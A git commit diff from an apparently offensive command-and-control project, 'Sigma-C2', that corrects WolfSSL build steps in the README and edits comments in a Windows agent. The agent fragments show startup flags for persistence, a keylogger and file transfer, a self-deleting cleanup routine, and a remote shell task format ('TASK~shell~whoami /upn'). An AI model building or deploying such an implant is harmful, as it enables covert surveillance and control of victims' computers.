Correct installtion instructions in Readme, edited some comments
This commit is contained in:
2
.gitignore
vendored
2
.gitignore
vendored
@@ -1,7 +1,7 @@
|
||||
.vscode
|
||||
certificates/*
|
||||
agent/obj
|
||||
agent/lib/wolfssl-5.7.4-compiled
|
||||
agent/lib/*
|
||||
agent/agent_cert.h
|
||||
agent/agent_key.h
|
||||
agent/ca_cert.h
|
||||
|
||||
10
README.md
10
README.md
@@ -63,15 +63,13 @@ Quickstart on localhost using ready scripts:
|
||||
|
||||
### 🔹 **Compiling WolfSSL for MinGW**
|
||||
|
||||
Before generating the agent payload, you must compile WolfSSL for MinGW:
|
||||
Before generating the agent payload, you must compile WolfSSL for MinGW and put in correct folder:
|
||||
|
||||
```sh
|
||||
wget https://github.com/wolfSSL/wolfssl/releases/download/v5.7.6-stable/wolfssl-5.7.6-stable.tar.gz.asc
|
||||
tar -xvzf wolfssl-5.7.6-stable.tar.gz
|
||||
cd agent/lib/wolfssl-5.7.6
|
||||
./configure --host=x86_64-w64-mingw32 --enable-static
|
||||
cd wolfssl-5.7.6
|
||||
./configure --host=x86_64-w64-mingw32 --enable-static --prefix==.../Sigma-C2/agent/lib/wolfssl-5.7.6-compiled
|
||||
make
|
||||
make install DESTDIR=../wolfssl-5.7.6-compiled
|
||||
make install
|
||||
```
|
||||
|
||||
After compilation, the **compiled library** should be located in:
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
#include "modules.h"
|
||||
#include "persistence.h"
|
||||
|
||||
#include <shellapi.h> // Add this for ShellExecute
|
||||
#include <shellapi.h> // For ShellExecute
|
||||
|
||||
// Prototype it because I hate C
|
||||
void ReceiveResponse(WOLFSSL* ssl);
|
||||
@@ -20,11 +20,11 @@ unsigned short int domainCount = sizeof(serverDomains) / sizeof(serverDomains[0]
|
||||
// Server port
|
||||
unsigned short int SERVER_PORT = 123456789;
|
||||
|
||||
// Start funcs up
|
||||
// Startup funcs
|
||||
#define AUTO_PERSISTENCE FALSE
|
||||
#define AUTO_KEYLOGGER FALSE
|
||||
#define AUTO_FILES FALSE
|
||||
#define CLEANUP_METHOD FALSE
|
||||
#define CLEANUP_METHOD FALSE // TRUE = bat, FALSE = cmd
|
||||
|
||||
// Delays for reconnection, keyloger and files transfer
|
||||
int reconnectDelay = 5000;
|
||||
@@ -191,11 +191,10 @@ void Cleanup() {
|
||||
#endif
|
||||
#endif
|
||||
|
||||
|
||||
#ifdef CLEANUP_METHOD
|
||||
#if CLEANUP_METHOD == FALSE
|
||||
|
||||
// Self deleteusing cmd in new thread
|
||||
// Self delete using cmd in new thread
|
||||
void Cleanup() {
|
||||
RemovePersistence();
|
||||
|
||||
@@ -289,7 +288,7 @@ void ReceiveResponse(WOLFSSL *ssl) {
|
||||
buffer[bytesReceived] = '\0';
|
||||
printf("Message from server: %s\n", buffer);
|
||||
|
||||
// Examples
|
||||
// Example of message format
|
||||
// TASK~shell~whoami /upn
|
||||
|
||||
// Check if there is a task to do
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
#include <windows.h>
|
||||
#include <iphlpapi.h>
|
||||
|
||||
#define SYSINFO_METHOD_REGISTRY TRUE
|
||||
#define SYSINFO_METHOD_REGISTRY TRUE // TRUE = use registry method, FALSE = use systeminfo cmd
|
||||
|
||||
|
||||
void CollectSystemInfo(char *osVersion, char *architecture, char *hostname, char *username, char *localIP) {
|
||||
|
||||
0
generate_certs.sh
Normal file → Executable file
0
generate_certs.sh
Normal file → Executable file
Reference in New Issue
Block a user